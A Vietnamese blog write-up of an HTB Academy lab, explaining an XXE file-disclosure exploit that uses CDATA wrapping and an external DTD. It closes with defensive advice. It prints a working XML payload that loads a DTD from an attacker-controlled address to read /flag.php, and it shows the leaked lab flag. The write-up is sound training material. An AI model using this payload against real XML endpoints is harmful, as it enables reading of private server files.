Advanced File Disclosure - Web attacks - HTB Academy

Challenge: https://academy.hackthebox.com/module/134/section/1206
Lỗ hổng XXE với CDATA + External DTD
❓ XXE là gì?
XML External Entity Injection (XXE) là một loại tấn công xảy ra khi một ứng dụng xử lý dữ liệu XML không an toàn, cho phép kẻ tấn công chèn thêm các entity (thực thể) để truy cập vào:
File trên hệ thống (VD:
/etc/passwd
,/flag.php
)SSRF (gửi request tới các địa chỉ nội bộ)
Tấn công DoS (billion laughs)
📌 Tình huống bài này
Ứng dụng PHP có endpoint
/submitDetails.php
Nhận dữ liệu XML từ phía client
Không cấu hình chặn các
DOCTYPE
hayENTITY
Kẻ tấn công muốn đọc file
/flag.php
💣 Kỹ thuật khai thác: CDATA + External DTD
🔍 Vấn đề cần vượt qua
Nếu đọc trực tiếp file:
<!ENTITY myfile SYSTEM "
file:///flag.php
">
thì XML sẽ lỗi cú pháp nếu file chứa ký tự đặc biệt (<
,&
,>
).Để an toàn với mọi nội dung, chúng ta gói nội dung bằng
<![CDATA[ ... ]]>
— giúp XML parser hiểu là "raw text".
🚧 Nhưng...
Bạn không thể nối trực tiếp:
<!ENTITY combined "&start;&file;&end;"> <!-- SAI vì không được mix internal và external entity -->
✅ Giải pháp: External DTD
Tách logic ra ngoài một DTD file riêng — và để cả 3 thực thể (start
, file
, end
) đều là external → có thể kết hợp lại.
⚒️ Các thành phần cấu thành Payload
1. File DTD bên ngoài (xxe.dtd)
<!ENTITY joined "%begin;%file;%end;">
Giải thích:
%begin;
: mở đầu CDATA%file;
: đọc file từ máy nạn nhân%end;
: kết thúc CDATAjoined
: nối cả 3 lại thành một entity lớn
2. Payload XML gửi lên server
xmlCopyEdit<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % begin "<![CDATA[">
<!ENTITY % file SYSTEM "file:///flag.php">
<!ENTITY % end "]]>">
<!ENTITY % xxe SYSTEM "http://10.10.15.15:8000/xxe.dtd">
%xxe;
]>
<root>
<name>test</name>
<tel>test</tel>
<email>&joined;</email>
<message>test</message>
</root>
Giải thích:
<!DOCTYPE root [...]>
: phần định nghĩa các thực thể XML<!ENTITY % xxe SYSTEM "
http://10.10.15.15:8000/xxe.dtd
">
: lấy DTD từ attacker&joined;
: nội dung thực tế sẽ chứa nội dung file/flag.php
, bọc trong<![CDATA[ ... ]]>
3. Cách gửi dữ liệu
Dùng BurpSuite:
🧪 Kết quả
Server phản hồi:
Check your email <?php $flag = "HTB{3rr0r5_c4n_l34k_d474}"; ?> for further instructions.
✅ File /flag.php
đã bị tiết lộ nội dung thông qua kỹ thuật XXE!
💡 Bài học rút ra cho người mới
Vấn đề bảo mật | Giải thích |
Server không tắt DOCTYPE | Cho phép khai báo thực thể XML |
Cho phép gọi DTD từ bên ngoài | Cho phép kẻ tấn công lừa tải file độc hại |
Cho phép đọc file nội bộ | Bị đọc các file nhạy cảm như /flag.php , config, token, v.v. |
🧱 Cách phòng tránh XXE (nếu bạn là dev)
Tắt hỗ trợ
DOCTYPE
/ENTITY
trong XML parserSử dụng thư viện an toàn như
defusedxml
(Python),libxml_disable_entity_loader
(PHP)Không xử lý dữ liệu XML không tin cậy nếu không cần thiết
Thiết lập tường lửa nội bộ để chặn SSRF từ XXE
Subscribe to my newsletter
Read articles from Khoa Nguyen directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by

Khoa Nguyen
Khoa Nguyen
Mình là người mới bắt đầu tìm hiểu công nghệ đặc biệt về ngành an toàn thông tin. Mình có viết lại các bài này chủ yếu luyện tiếng Anh và đọc thêm. Cảm ơn mọi người đã quan tâm và đón đọc. Nếu có góp ý gì xin hãy liên lạc với mình nhé!